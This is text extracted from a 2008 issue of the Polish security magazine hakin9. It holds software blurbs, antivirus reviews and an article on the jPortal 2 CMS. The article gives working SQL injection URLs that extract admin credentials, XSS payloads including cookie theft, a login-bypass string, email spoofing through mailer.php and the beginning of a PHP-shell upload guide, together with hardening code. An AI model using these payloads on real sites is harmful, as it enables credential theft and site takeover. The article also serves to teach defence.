jest odczyt wszystkich plików, nawet
bez posiadania hasła administratora i
użytkowników!

ADVANCED REGISTRY TRACER

Advanced Registry Tracer (ART)
– program do analizy zmian w rejestrze
Windows.

Umożliwia on stworzenie bazy danych

ze zrzutami ekranu rejestru i porównywanie
ich ze sobą. Każdy obraz rejestru można
analizować za pomocą przeglądarki.
Program monitoruje zmienione, utworzone i
usunięte klucze oraz zmianę danych.

Mogą Państwo tworzyć pliki do

monitorowania powstania zmian w
rejestrze. Możliwy jest eksport zawartości
dowolnego klucza do pliku .reg oraz import
z takiego pliku w celu np. porównania
z bieżącym stanem rejestru. Program
przyda się zwłaszcza do wykrywania

background image

10

NA CD

HAKIN9 4/2008

11

HAKIN9.LIVE

HAKIN9

4/2008

skutków działania wirusów i trojanów oraz
do rozwiązania problemów związanych
z niewłaściwą instalacją programów lub
sterowników.

PROACTIVE PASSWORD AUDITOR

Proactive Password Auditor – narzędzie do
testowania jakości zabezpieczenia hasłem
w systemach operacyjnych Windows NT,
Windows 2000, Windows XP i Windows
2003 Server.

Pozwala ono administratorom

systemowym wykrywać konta użytkowników
posiadających hasła o zbyt małej
odporności na ataki (zbyt słabe).

Administrator systemowy może również

próbować znaleźć hasło dowolnego
użytkownika za pomocą prostego
przeszukiwania (brute force) i ataku
słownikowego.

W celu uzyskania hash’y haseł mogą

zostać użyte następujące sposoby:

• użycie gotowych dump-plików

uzyskanych przez narzędzia pwdump,
pwdump2 i pwdump3,

• odczyt rejestru lokalnego komputera,
• odczyt pamięci lokalnego komputera,
• odczyt pamięci zdalnych maszyn

(dotyczy komputerów z Active Directory).

Odtwarzane są hasła do kont LAN
Manager i NTLM. Kod programu jest
optymalizowany pod kątem szybkości
przeszukiwania haseł.

ARCAVIR 2008 SYSTEM PROTECTION

Z MODUŁEM ADMINISTRATORA

Pakiet ArcaVir zapewnia wszechstronne
bezpieczeństwo komputera. Zawiera
wszystkie elementy niezbędne do pełnej
ochrony antywirusowej nawet największych
systemów. Są to między innymi antywirus,
firewall, antyspam, monitor rejestru, moduł
kontroli rodzicielskiej, skaner HTTP i inne.
Więcej informacji znajduje się na stronie
www.arcabit.pl. Do każdego pakietu
ArcaVir powyżej 10 licencji dołączany jest
bezpłatnie Administrator (ArcaAdmin).
Aplikacja ArcaAdmin umożliwia:

• sprawną instalację i nadzór nad

pakietem ArcaVir nawet w bardzo
dużych sieciach,

• zarządzanie konfiguracją pakietu

ArcaVir z centralnej konsoli
administracyjnej, która zawiera
informacje o zdarzeniach mających
miejsce w systemie,

• monitorowanie stanu pracy ArcaVir

na wszystkich komputerach
podłączonych do sieci,

• efektywne mechanizmy wymiany

danych pomiędzy serwerem
zarządzania a zarządzanymi
stacjami.

Program dołączony do niniejszego wydania
zawiera zaszyty numer licencji na 20
stanowisk i 1 serwer z modułem ArcaAdmin.
Licencja jest ważna na okres 90 dni.

Wymagania techniczne:
Stacja kliencka:

• Windows 2000 (z SP4) / 2003 (z SP1) /

XP (z SP2 + uaktualnienia) / VISTA

• Pamięć RAM wymagana dla programu

– 64 MB

Serwer ArcaAdmin:

• Windows 2000 (z SP4) / 2003 (z SP1) /

XP (z SP2 + uaktualnienia)

• Pamięć RAM wymagana dla programu

– 128 MB

• Internet Information Services (IIS,

komponent systemu Windows)

• .NET Framework 2.0
• Baza SQL – np. MSDE do pobrania z

http://www.arcabit.pl/DWT/Programy/
msde.zip

W razie jakichkolwiek dodatkowych pytań
zapraszamy do skorzystania z pomocy
technicznej firmy ArcaBit Sp. z o. o., od
poniedziałku do piątku w godzinach 8:
00 – 20:00, tel. (22) 532-69-20, e-mail:
pomoc@arcabit.pl.

PANDA ANTIVIRUS 2008

Obecny na rynku od października
zeszłego roku, Panda Antivirus 2008 to
jeden z najłatwiejszych w użytkowaniu
systemów zabezpieczeń komputera.
Prostota obsługi idzie w parze z
niezwykle rozległą funkcjonalnością
i wysokim poziomem zabezpieczeń.
Korzystanie z czatów, udostępnianie
zdjęć i filmów, czytanie blogów, a także

surfowanie po Internecie stanie się teraz
bezpieczniejsze. Dodatkowym atutem
jest także niewielkie wykorzystanie
zasobów systemowych, dzięki czemu
Panda Antivirus 2008 staje się bardzo
interesującym narzędziem dla każdego
użytkownika komputera, szukającego
profesjonalnej ochrony. Co zaoferować
może zatem najnowszy produkt firmy
Panda Security?

Na początku warto przybliżyć

moduł szczegółowego skanowania
on-line, który dostępny jest w ramach
Megadetection – najnowszego modelu
ochrony oferowanego przez Panda
Security. Megadetection to cztery
filary bezpieczeństwa, które pozwalają
zapewnić niespotykany dotąd poziom
zabezpieczeń. Filarami tymi są opisane
poniżej: ochrona rezydentna przed
wszelkimi złośliwymi kodami, moduł
odpowiedzialny za wyszukiwanie
nieznanych zagrożeń oraz całodobowe
wsparcie techniczne. Ostatnim
elementem jest właśnie możliwość
skanowania on-line. Użytkownik
posiadający program Panda może
zalogować się na specjalnej stronie
WWW i przeprowadzić zewnętrzne
skanowanie. Niezwykle istotny jest fakt,
iż skaner ten wykrywa w chwili obecnej
niemal 3 miliony zagrożeń! Dzięki
temu użytkownik chroniony jest na
niespotykanym do tej pory poziomie.

Program chroni także rezydentnie

przed wszelkimi zagrożeniami. Jeżeli
zatem nie posiadasz oprogramowania
ochronnego, a z komputera znikają
dokumenty, masz problemy z
uruchomieniem komputera, a niektóre
z plików nie nadają się do użytku
– możesz mieć pewność, że komputer
padł ofiarą wirusa i instalacja programu
Panda Antivirus 2008 jest niezbędna.
Ochroni on w pełni przed wirusami,
robakami i trojanami, które stosują
wciąż nowe techniki, aby uniknąć
wykrycia. Panda Antivirus 2008 pozwala
korzystać z Internetu, a także pobierać
oraz udostępniać pliki bez obaw o
zainfekowanie jakimikolwiek wirusami,
robakami czy trojanami. Panda bardzo
dużą uwagę poświęca programom
szpiegującym, automatycznie wykrywając
i skutecznie usuwając tego typu złośliwe
kody oraz inne irytujące aplikacje.

background image

12

NA CD

HAKIN9 4/2008

Program usuwa także coraz groźniejsze
rootkity, które wykorzystywane są do
ukrywania zagrożeń – tak, aby te nie
zostały rozpoznane przez standardowe
aplikacje antywirusowe. Takie zagrożenia
mogą następnie bezkarnie działać w
systemie.

Dzięki Panda Antivirus 2008 możesz

całkowicie uwolnić się rootkitów, gdyż
zaawansowany system zabezpieczeń
(uznany za najlepsze tego typu narzędzie
na świecie) potrafi wykrywać zagrożenia
stosujące wszelkie zakazane techniki.

Mimo, iż program nie posiada

modułu Firewall, zapewnia ochronę przed
oszustwami on-line. Niektóre wiadomości
email mają na celu skłonienie użytkownika
do ujawnienia swoich poufnych danych
bankowych. Nadawcą wiadomości
tego rodzaju z pozoru może być bank.
Wpadnięcie w podobną pułapkę może
okazać się bardzo kosztowne, ponieważ
oszuści uzyskują pełny dostęp do naszego
konta. Panda Antivirus 2008 potrafi
zidentyfikować fałszywe wiadomości
tego rodzaju i zapobiegać kradzieżom

danych bankowych, numerów kont i innych
poufnych informacji. Panda Antivirus
2008 zabezpieczy zatem komputer przed
niebezpiecznymi oszustwami. Bezpieczne
korzystanie z bankowości internetowej i
zakupów on-line stało się faktem. Program
zabezpiecza także przed niebezpiecznymi
witrynami WWW. Pamiętać należy, że wiele
infekcji ma miejsce podczas odwiedzania
różnych stron internetowych. Panda
Antivirus 2008 rozpoznaje niebezpieczne
witryny i uniemożliwia ich odwiedzanie,
co pozwala uniknąć infekcji. Funkcja ta
jest szczególnie skuteczna w przypadku
niektórych rodzajów oprogramowania
szpiegującego oraz oszustw on-line.
Teraz możesz bezpiecznie korzystać z
Internetu, a Panda w pełni zadba o Twoje
bezpieczeństwo.

Fakt, iż każdego dnia pojawia się

ponad 2000 nowych zagrożeń, dla wielu
osób jest nadal szokujący. Dla Panda
Antivirus 2008 tak duża ilość złośliwych
kodów nie jest problemem. Program
dokonuje automatycznych aktualizacji,
które pojawiają się przynajmniej raz

dziennie. Dzięki temu każdy czuć
może się bezpiecznie przez cały
czas! Dodatkowo Panda Security jest
pionierem w świadczeniu 24-godzinnej
pomocy technicznej. Przez całą dobę
laboratorium PandaLabs wraz ze
specjalistami z pomocy technicznej
udzielą szybkiej odpowiedzi, korzystając
z wiadomości email lub Internetu.
Fachowa pomoc zespołu specjalistów
jest dla każdego na wyciągnięcie ręki!

A jakie wymagania ma tak skuteczny

system antywirusowy? Niewielkie!
Program działa nawet na komputerach,
które pamiętają jeszcze poprzednie
stulecie. Dokładniejsze wymagania
systemowe znaleźć można poniżej:

• Procesor: Pentium 150 MHz lub

szybszy

• RAM: 64 MB
• Dysk twardy: 170 MB wolnego miejsca
• System operacyjny: Windows Vista 32

oraz 64 bit, Windows XP 32 oraz 64
bit, Windows 2000

• Internet Explorer 6.0
• napęd CD-ROM

PODZIĘKOWANIA

Serdeczne podziękowania dla
dystrybutora Softkey Poland Sp. z o.o.
http://www.softkey.pl/ za udostępnienie
programów Elcomsoft na płytę.

Rysunek 1.

Panda Antyvirus

Żeby uruchomić swój komputer z płyty

hakin9.live, ustaw swój BIOS na

bootowanie z napędu CD-ROM. Po

dokonanych zmianach uruchom

ponownie komputer. Uruchomi się

dytrybucja hakin.live, na której możesz

przećwiczyć techniki prezentowane w

tutorialach. Upewnij się, ze sprawdziłeś

desktopowe foldery – zawierają wiele

dodatkowych materiałów. Zawartość CD

można również przejrzeć w systemie

Windows.

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona

uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch

napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

background image

14

NARZĘDZIA

HAKIN9 4/2008

15

NARZĘDZIA

HAKIN9

4/2008

Produkt Norton 360 dostarcza
użytkownikowi wielomodułowe
oprogramowanie do ochrony

komputera przed szerokim wachlarzem
zagrożeń, takich jak: spyware, wirusy, rootkity, ataki
typu phishing. Produkt zawiera także moduły:
dwukierunkowego firewalla, ochrony przed
wyłudzaniem danych, uwierzytelniania witryn
internetowych, skanowania poczty elektronicznej
oraz dodatkową usługę chroniącą przed
atakami zdalnymi, wyposażoną w bogatą bazę
sygnatur ataków. Produkt oczywiście zawiera
funkcję Auto-Protect, dynamicznie sprawdzającą
wszystkie pliki, do których użytkownik zażądał
dostępu od systemu operacyjnego oraz funkcję
LiveProtect, odpowiadającą za automatyczne
pobieranie nowych sygnatur – zarówno wirusów,
jak i pozostałych rodzajów zagrożeń. Cały
proces aktualizacji odbywa się automatycznie,
bez ingerencji użytkownika. Naturalnie ta, jak i
pozostałe funkcje są w pełni konfigurowalne w
panelu głównym programu. Wspomniane powyżej
moduły to tylko część najważniejszych funkcji
produktu Norton 360. Nie wspomniałem o kilku
mniej istotnych elementach, takich jak: moduł
sprawdzający słabe hasła, moduł weryfikujący
stan aktualizacji systemu operacyjnego, kopii
zapasowej najbardziej newralgicznych danych,
czy wreszcie opcji bezpiecznego przechowywania
danych na serwerze firmy. Standardowo
użytkownik otrzymuje 2GB przestrzeni dyskowej
na serwerze, jeśli potrzebna jest większa jej ilość
– nie ma problemu z dokupieniem kolejnych GB.
Osobiście bardzo podoba mi się ta możliwość
wprowadzona do produktu Norton 360
– zewnętrzny, niezależny backup danych jest jak
najbardziej na czasie.

Część odpowiadająca za optymalizację

komputera w czasie jego działania składa się z
trzech elementów czyszczących: historię internetową,
pliki tymczasowe stron internetowych oraz pliki
tymczasowe systemu operacyjnego. Czwartym
elementem jest moduł defragmentatora dysków.

Jako, iż dysponuję profesjonalnym programem

do defragmentacji dysków, przeanalizowałem

partycję podstawową i zapisałem ilość
pofragmentowanych plików, a także ilość
fragmentów dwóch najbardziej pociętych plików.
Po zanotowaniu tych wielkości uruchomiłem
opcję Optymalizuj dyski w programie Norton
360. Po zakończeniu pracy defragmentatora
zrestartowałem komputer, licząc na połączenie
pofragmentowanego pliku pagefile.sys.
Uruchomiwszy komputer, sprawdziłem statystyki
defragmentacji partycji. Plików pofragmentowanych
pozostało 949 (wcześniej 1121), a jeśli chodzi
o najbardziej pofragmentowane pliki: pierwszy
składał się z 1050 fragmentów (wcześniej 1050),
drugi z 816 (wcześniej 816). Dodatkowo plik
pagefile.sys pozostał nietknięty. Byłem – delikatnie
mówiąc – zszokowany. Następnie w ramach testu
porównawczego użyłem profesjonalnego programu
do defragmentacji. Wyniki, jakie uzyskałem: ilość
pofragmentowanych plików – 46 (wcześniej 949)
i oba najbardziej pofragmentowane pliki zostały
ułożone na dysku tak, by były w jednej części.
Dodatkowo plik pagefile.sys dzięki opcji early boot
defrag
został scalony w jeden ciągły obszar.

Idąc dalej, sprawdziłem, co oferuje użytkownikowi

moduł czyszczący. Okazało się, iż usuwanie historii
otwieranych stron dotyczy tylko jednej przeglądarki:
IE (Opera, Firefox, Netscape Navigator – zostały
nietknięte). Pliki tymczasowe systemu operacyjnego
znajdują się tylko w Windows\Temp, a tymczasowe
pliki internetowe – w katalogu Ustawienia lokalne\
Temp\Temporary Internet Files
. Muszę wspomnieć,
iż w przypadku programów czyszczących katalogi
systemowe z plików tymczasowych istnieją o niebo
lepsze rozwiązania i do tego darmowe.

Dobre imię programu Norton 360 zostaje

obronione przez moduły: antywirusowy,
firewalla i detektora ataków (zawierającego
imponujące bazy sygnatur). W ramach
testu antywirusa sprawdziłem swoje lokalne
archiwum testowe zawierające około czterystu
wirusów. Uzyskane rezultaty pokrywały się
z testem przeprowadzonym przy pomocy
pewnego programu AV, o którym mówi się, iż
posiada najlepszy silnik heurystyczny na rynku
programów antywirusowych.

Producent

Symantec

System

MS Windows XP/Vista

Typ

Pakiety zabezpieczające

Strona dystrybutora

www.softpoint.com.pl

Recenzent

Patryk Branicki

Norton 360

«««««

OCENA

background image

14

NARZĘDZIA

HAKIN9 4/2008

15

NARZĘDZIA

HAKIN9

4/2008

Duże pudełko, w środku płyta, którą
wkładam do komputera. Do tej pory
używałem różnych darmowych wersji

programów antywirusowych. Moja maszyna
to stary pecet z Celeronem 750MHz i 512MB
pamięci RAM.

Po włożeniu płyty uruchamia się miły dla

oka interfejs instalacyjny. Opcje instalacji
są przejrzyste, także dla standardowego
użytkownika. Włączenie trybu zaawansowanego
powoduje, że możemy zaingerować w ustawienia
programu i tutaj zauważyłem pewne zgrzyty.
Niektóre opcje (np. rozróżnienie na potencjalne
niechciane i potencjalnie niebezpieczne)
nie są zbyt dobrze opisane i trzeba trochę
pogłówkować, zanim zrozumiemy, co można
zmienić i jak to wpłynie na działanie programu w
przyszłości.

Po instalacji nie jest wymagane ponowne

uruchomienie komputera – przynajmniej w
systemie Windows XP, co również można uznać
za plus tego skanera.

Nadeszła chwila prawdy. Program

rozpoczyna działanie – w tle włącza się
ochrona antywirusowa, a ja ładuję domyślny
profil skanowania in-depth i uruchamiam
skanowanie dysku systemowego. Klikam na
przeglądarkę – uruchamia się bez problemu
i za chwilę mam już otwartych kilka zakładek.
Nie daję za wygraną, uruchamiam jeszcze kilka
programów. Dopiero kiedy usiłuję obejrzeć
film, zauważam pierwsze oznaki spowolnienia
systemu.

I to właśnie między innymi świadczy

o rewelacyjności programu. NOD32 jest
bardzo szybkim skanerem i, co ważniejsze,
obciążającym nasz komputer w wyjątkowo
niewielkim stopniu. Poprzednikowi
przeskanowanie dysków mojego komputera
zajmowało około 3h. Eset NOD32 skanuje
ten sam obszar w 1h 15min. Jak dla mnie
– rewelacja. Oprócz tego działanie ochrony
antywirusowej nie jest odczuwalne nawet przy
odbieraniu sporych przesyłek pocztowych
(domyślna integracja z Outlook Express i

Microsoft Outlook). Moduł antyspyware jest
zintegrowany z popularnymi przeglądarkami
internetowymi i również nie powodował
żadnego spowolnienia ich pracy, nawet
z włączoną opcją trybu aktywnego (na
marginesie – autorzy aplikacji nie tłumaczą
nigdzie, co to dokładnie jest tryb aktywny
i pasywny oraz na czym polega różnica
–zważywszy na fakt, że wspomniane
opcje dostępne są dla zaawansowanych
użytkowników, jest to dla mnie minus). NOD
wyróżnia się też spośród innych skanerów
świetnie dobranymi domyślnymi ustawieniami
programu. Widać, że są one nie tylko
domyślne, ale i przemyślane. Testowane są
na przykład wszystkie pliki, a nie tylko pliki
infekowalne.

NOD32 dostępny jest w wielu wersjach, także

dla systemów Open Source (Red Hat, SuSE,
BSD), co także składa się na pozytywną ocenę
tego oprogramowania.

Ogólna ocena bardzo dobra z lekkim

minusem. Plusy: łatwa instalacja, bardzo dobre
ustawienia domyślne, rewelacyjna szybkość
działania.
Minus: brak szczegółowych opisów podczas
instalacji w trybie zaawansowanym
– przypuszczam jednak, że dla wielu
użytkowników nie będzie to wadą, ponieważ
nie będą odczuwać potrzeby skorzystania z tej
funkcjonalności.

Producent

ESET

System

Windows 95 / 98 / ME,
Windows NT / 2000 /
XP / Vista oraz Windows
2003

Typ

Antywirus

Strona dystrybutora

www.dagma.pl

Recenzent

Daniel Zimnicki

ESET NOD32

Antivirus 3.0 Home

«««««

OCENA

background image

16

POCZĄTKI

HAKIN9 4/2008

Z

arówno instalacja, jak i administracja
tym systemem są bardzo proste.
Być może dlatego jest on tak

rozpowszechniony. Ale również dlatego, że
bez żadnej wiedzy na temat tworzenia stron
możemy cieszyć się profesjonalnym wyglądem
naszej strony. Jednak CMS posiada wiele
błędów. Przyjrzymy się im oraz spróbujemy
zabezpieczyć naszą stronę przed atakami
hakerów.

SQL Injection

Pierwszą luką, jaką posiada nasz system jest
możliwość wstrzyknięcia zapytania do bazy
MySQL. Przeanalizujmy jedno z zapytań:

ARTUR CZYŻ

Z ARTYKUŁU

DOWIESZ SIĘ

jak ominąć zabezpieczenia

systemu jPortal 2,

jak zabezpieczyć jPortal 2.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy PHP,

znać podstawy SQL Injection

i XSS.

articles.php?topic=-100 union select 1,
concat(nick,char(58),pass),
3,4,5 from admins limit 1/*

W powyższym zapytaniu wykorzystywany jest błąd
w pliku articles.php. Zwróćmy jednak uwagę na
każdą część naszego zapytania. Rozpoczynamy

-100

lub jakimiś innymi znakami, które zwrócą

Stopień trudności

Niebezpieczny

jPortal 2

Ostatnio przeglądając strony internetowe zwróciłem szczególną

uwagę na szeroko rozpowszechniony system portalowy o nazwie

jPortal 2.

Rysunek 1.

Efekt wstrzykniętego zapytania – SQL

Injection.

Listing 1.

Przykładowe zapytania

print

.php

?

what=article&id=1

%20

AND

%201

=0

%20

UNION

%20

SELECT

%20

id,id,nick,pass,id,id,id,id,id

%20

from

%20

a

dmins

%20

LIMIT

%201

comment.php

?

what=news&id=1

and

1=0 union

(

select null, null, nick, null, null, null, null, null,

null, null, null, null from admins limit n,1

)

comment.php

?

what=news&id=284

and

1=0 union

(

select null, null, pass, null, null, null, null, null,

null, null, null, null from admins limit n,1

)

print

.php

?

what=article&id=1

AND

1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1

news.php

?

id=1

%20

AND

%200%20

=

%201%20

UNION

%20

SELECT

%20

*,

%201

,

%201

,

%201

,

%201%20

FROM

%20

admins

%20

print

.php

?

what=article&id=1

%20

AND

%201

=0

%20

UNION

%20

SELECT

%20

id,id,nick,pass,id,id,id,id,id

%20

from

%20

a

dmins

%20

LIMIT

%201

forum.php

?

cmd=search&word=Trey&where=author

%20

and

%201

=0

%20

union

%20

select

%20

null,null,nick,pass,null,

null,null,null,null,null,null,null,null,null,null

%

20from

%20

admins

%20

/*

forum.php?cmd=search&word=Trey&where=author%20and%201=0%20union%20select%20null,null,nick,pass,null,

null,null,null,null,null,null,null,null,null,null% 20from%20users%20/*

articles.php?topic?id=-2/**/

UNION

/**/

SELECT

/**/

1,concat

(

pass,

char

(

58

)

,nick

)

,3,4,5

/**/

from

/**/

admins/

*

articles.php

?

topic=-100 union select 1,concat

(

nick,

char

(

58

)

,pass

)

,3,4,5 from admins limit 1/*

background image

17

NIEBEZPIECZNY JPORTAL 2

HAKIN9

4/2008

błąd – nic nie stoi na przeszkodzie, aby
użyć identyfikatora rozpoczynającego się
znakiem minus.

Union select 1,concat(nick,
char(58),pass),3,4,
5 from admins limit 1/*

to zapytanie do bazy, które oznacza w
dosłownym tłumaczeniu Wyciągnij z
bazy admins z drugiej kolumny (login
i hasło), pierwszego użytkownika
.
Zapytanie wystarczy dokleić do strony,
np. http://www.przykładowastrona.pl/
articles.php?topic=-100 union select 1,con
cat(nick,char(58),pass),3,4,5 from admins
limit 1/*.
Po wklejeniu takiego zapytania w
pasek adresu przeglądarki i wywołaniu
strony na ekranie w miejscu nazwy tematu
powinny nam się ukazać login i hasło:
Artykuły >> admin:52g76h78jh87yu6ty6u7i8u
7y6t5t6y4
.

Nasze hasło będzie prawdopodobnie

zakodowane w postaci skrótu MD5
(lub przy pomocy innego algorytmu
szyfrującego, choć niekiedy może
być w postaci jawnej – zobaczymy
wtedy coś takiego: Artykuły >> admin:
mojetajnehaslo
(Rysunek 1). Inne
zapytania, jakich możemy użyć, aby
uzyskać pożądany efekt, znajdują się na
Listingu 1. Zapytania możemy dowolnie
modyfikować w zależności od naszych
potrzeb, np. zamiast wyciągać z bazy
danych hasło możemy użyć poleceń typu

database()

,

now()

,

version()

,

load _

file()

. Zapytania możemy dowolnie

łączyć dzięki wykorzystaniu funkcji

concat()

, np.

articles.php?topic=-100 union select 1,
concat(nick,char(58),pass,char(58),
database()),3,4,5 from admins limit 1/*.

Funkcja

char()

wczytuje znak o

podanym kodzie z tablicy ASCII
– w naszym przypadku wartości

58

przyporządkowany jest dwukropek.
Jeżeli podane zapytanie zwróci błąd,
prawdopodobnie podaliśmy złą liczbę
kolumn lub nazwę bazy. Najczęstszymi
nazwami bazy dla przykładowej strony
http://przykladowastrona.pl będą bazy
o nazwie: jp_admins, admins, users,
jp_przykladowastrona, przykladowastrona_
admins
, przykladowastrona_users. Myślę,
że zrozumieliście, o co mi chodzi, dlatego
przejdziemy teraz do błędów XSS.

XSS

Kolejnym błędem, który występuje w
naszym systemie portalowym, jest błąd
pozwalający wstrzyknąć kod wykonujący
się po stronie serwera. Przyjrzyjmy się
poniższemu zapytaniu:

http://www.przykładowastrona.pl/
news.php?page=666&news=”>
<script>alert(0);</script>

Gdybyśmy uruchomili w przeglądarce
taki kod, zostałoby wyświetlone tradycyjne
zero (0). Wiele osób uważa, że taki
atak nie jest niebezpieczny. Z pewnego
punktu widzenia jest tak w istocie,
ale jeżeli umiejętnie spreparujemy
zapytanie, możliwe jest między innymi
przechwycenie cookies administratora
strony. Poniższy kod zwróci nam nasze
cookies na stronie:

http://www.przykładowastrona.pl/
news.php?page=666&news=”><script>alert
(document.cookie);</script>

W Sieci

http://cc-team.org,
http://milw0rm.com,
http://packetstorm.org,
http://securityfocus.com,
http://securitydot.com,
http://www.jp.packs.prv.pl,
http://www.haxite.org/index.php3?site=ar

tykul&nx1=artykul_view&id=792.

Rysunek 2.

PHPShell – narzędzie posiada masę opcji, które ułatwią administrację stroną

Listing 3.

Przykładowe zapytania do

ataków XSS

module.php

?

op=forum&category=

[

xss

]

module.php

?

op=forum&page=

[

xss

]

&cmd=show

&id=

[

xss

]

&catego

ry=

[

xss

]

print

.php

?

what=news&id=

[

xss

]

print

.php

?

what=article&id=

[

xss

]

module.php

?

op=sendnews&id=

[

xss

]

Listing 4.

Zabezpieczanie jPortal 2

<?

mysql_query

(

"INSERT INTO tabela

(

id,

post, get

)

VALUES

(

NULL,

'htmlspecialchars($_POST[x])'

,

'htmlspecialchars($_GET[x])'

)

;";

?>

Listing 2.

Błąd występujący w pliku

mailer.php

mailer.php

?

to=adresat

@email

.com&sub

ject

=TestWiadomosci&from_name=Admin&
from_mail=admin

@adres

.com&body=

TestExploita&ok=wyslij&cmd=sendmail

background image

18

POCZATKI

HAKIN9 4/2008

NIEBEZPIECZNY JPORTAL 2

19

HAKIN9

4/2008

Nie powinniśmy lekceważyć tego
błędu.

Błąd w panelu

administracyjnym

Istnieje również błąd w panelu
administracyjnym, który w pewnych
przypadkach pozwala nam na logowanie
bez znajomości hasła. Wystarczy w pole
login wpisać następujący kod:

blad' OR

id=1 OR id<>'0

. Ta metoda jednak nie

zawsze działa.

E-mail ze strony

jako administrator

Kolejny błąd występuje w pliku mailer.php
w zmiennej

$to

. Pozwala nam on na

wysłanie e-maila z konta administratora
strony na dowolny inny adres e-mail.
Przeanalizujmy poniższe zapytanie:

adresat@email.com

– w to miejsce

wklejamy e-mail na który wysyłamy;

admin@adres.com

– tutaj umieszczamy

adres admina, czyli w naszym przypadku
jest to:

admin@podatnastrona.pl

;

TestWiadomosci

– tutaj wklejamy tekst,

który ma się znaleźć w e-mailu.(Listing 2.)

Bezpośrednią przyczyną występowania

tego błędu jest fakt, że jPortal 2 nie
sprawdza, czy zmienna pochodzi z tablicy
POST czy GET.

Bezpieczeństwo

Pokażę teraz, jak możemy zabezpieczyć
jPortal 2 tak, aby uniemożliwić
lub chociaż zminimalizować
prawdopodobieństwo udanego ataku.

Listing 5.

Zmiana sposobu dostępu do logowania na panel administratora

//1. W pliku admin.php
//a) zamiast

include

(

"admin/01.adm.php"

)

;

include

(

"admin/02.adm.php"

)

;

//wpisujemy

include

(

"tajnelogowanie/01.adm.php"

)

;

include

(

"tajnelogowanie/02.adm.php"

)

;

//b) zamiast

<?

if

(

file_exists

(

'admin/'

.

$op

.

'.adm.php'

))

{

include

(

'admin/'

.

$op

.

'.adm.php'

)

;

}

elseif

(

$op

==

''

)

{

$cmd

=

'options'

;

include

(

'admin/.adm.php'

)

;

?>

//wpisujemy

<?

if

(

file_exists

(

'tajnelogowanie/'

.

$op

.

'.adm.php'

))

{

include

(

'tajnelogowanie/'

.

$op

.

'.adm.php'

)

;

}

elseif

(

$op

==

''

)

{

$cmd

=

'options'

;

include

(

'tajnelogowanie/.adm.php'

)

;

?>

//c) zamiast

if

(

$_REQUEST

[

'cmd'

]

==

'logout'

)

{

$_SESSION

[

'nick'

]

=

'********************'

;

$_SESSION

[

'pass'

]

=

'********************'

;

header

(

'Location: admin.php'

)

;

}

//wpisujemy

if

(

$_REQUEST

[

'cmd'

]

==

'logout'

)

{

$_SESSION

[

'nick'

]

=

'********************'

;

$_SESSION

[

'pass'

]

=

'********************'

;

header

(

'Location: tajnelogowanie.php'

)

;

}

//d) zamiast

admin_nawigator

()

;

//wpisujemy

tajnelogowanie_nawigator

()

;

/*e) zmieniamy nazwę pliku admin.php na tajnelogowanie.php oraz

folderu admin na tajnelogowanie.*/

//2. W pliku .adm.php
//zamiast

echo

'

<

form method=

"post"

action=

"admin.php?op='.$op.'"

><

font

size=

"2"

><

b

>

·

<

/b

>

Dodanych komentarzy:

<

b

>

'.$n.'

<

/b

><

br

>

';

//wpisujemy

echo

'

<

form method=

"post"

action=

"tajnelogowanie

.php?op='.$op.'"

><

font size=

"2"

><

b

>

·

<

/b

>

Dodanych komentarzy:

<

b

>

'.$n.'

<

/b

><

br

>

';

//3. W pliku 01.adm.php
//zamiast

header

(

"Location: admin.php"

)

;

//wpisujemy

header

(

"Location: tajnelogowanie.php"

)

;

//4. W pliku 02.adm.php
//zamiast

<?

echo

'

<

a href=

"admin.php"

class=

"t_main"

>

Opcje

administracyjne

<

/a

>

';

if(file_exists('

admin/

'.$file.'

.name

')) {

$name = file('

admin/

'.$file.'

.name

');

if(file_exists('

admin/

'.$file.'

.name

')) {

$name = file('

admin/

'.$file.'

.name

');

echo '

<

td class=

"uni_01"

>

'.$wp1.'

&middot;

<

a

href=

"admin.php?op='.$file.'"

>

'.$name[0].'

<

/a

><

/td

>

';

function admin_nawigator(

)

{

<

b

><

a href=

"admin.php?cmd=logout"

>

wyloguj

<

/a

>

';

//wpisujemy

<?

echo

'

<

a href=

"admin.php"

class=

"t_main"

>

Opcje

administracyjne

<

/a

>

';

if(file_exists('

tajnelogowanie/

'.$file.'

.name

')) {

$name = file('

tajnelogowanie/

'.$file.'

.name

');

if(file_exists('

tajnelogowanie/

'.$file.'

.name

')) {

$name = file('

tajnelogowanie/

'.$file.'

.name

');

echo '

<

td class=

"uni_01"

>

'.$wp1.'

&middot;

<

a

href=

"panel.php?op='.$file.'"

>

'.$name[0].'

<

/a

><

/td

>

';

function

tajnelogowanie _nawigator

()

{

<

b

><

a href=

"tajnelogowanie .php?cmd=logout"

>

wyloguj

<

/a

>

';

/*Teraz nasz panel do logowania zamiast w pliku admin.php

znajduje się w pliku tajnelogowanie.php.
Utrudni to agresorowi zniszczenie naszej
strony.*/

POCZATKI

background image

18

POCZATKI

HAKIN9 4/2008

NIEBEZPIECZNY JPORTAL 2

19

HAKIN9

4/2008

Będziemy używać do tego głównie funkcji typu

htmlspecialchars()

,

mysql _ real _ escape _

string()

,

strip _ tags()

,

add _ slashes()

,

mysql _ escape _ string()

. Możemy bawić się

samemu w zabezpieczanie jPortal 2, modyfikując kod
– tak, jak pokazano na Listingu 4.

Zmiana nazwy pliku odpowiedzialnego za

logowanie do panelu administratora również nieco
utrudni agresorowi włamanie na naszą stronę.
Opisane to zostało na Listingu 5.

Polecam jednak inną metodę. W Internecie

udostępniane są łatki na jPortal 2, np. userpatch
v1.0s
, userpatch v1.1s oraz userpatch_beta_v09.
Zawierają one szereg uaktualnień do naszego
CMSa.

Na dzień dzisiejszy nie ma jeszcze oficjalnego

exploita na UserPatch, możemy go pobrać ze
strony 6 (patrz ramka W Sieci). Zaoszczędzi to nam
sporo czasu.

Jeśli chodzi o błędy SQLInjection, XSS (a także

wiele innych) i sposoby zabezpieczenia przed nimi,
to polecam stronę 7, gdyż jest to tam – zwięźle,
lecz bardzo dobrze – opisane.

Upload PhpShella

z poziomu Menu Administracyjnego

PhpShell pozwala nam na obsługę strony tak,
jakbyśmy byli zalogowani na jej serwer FTP (Rysunek
2). Wgranie Phpshell jest bardzo proste – aby to zrobić,
należy wejść do Panelu Administratora. Następnie
przechodzimy do opcji Download i w menu Uploader
wybieramy plik, który chcemy załadować na serwer. W
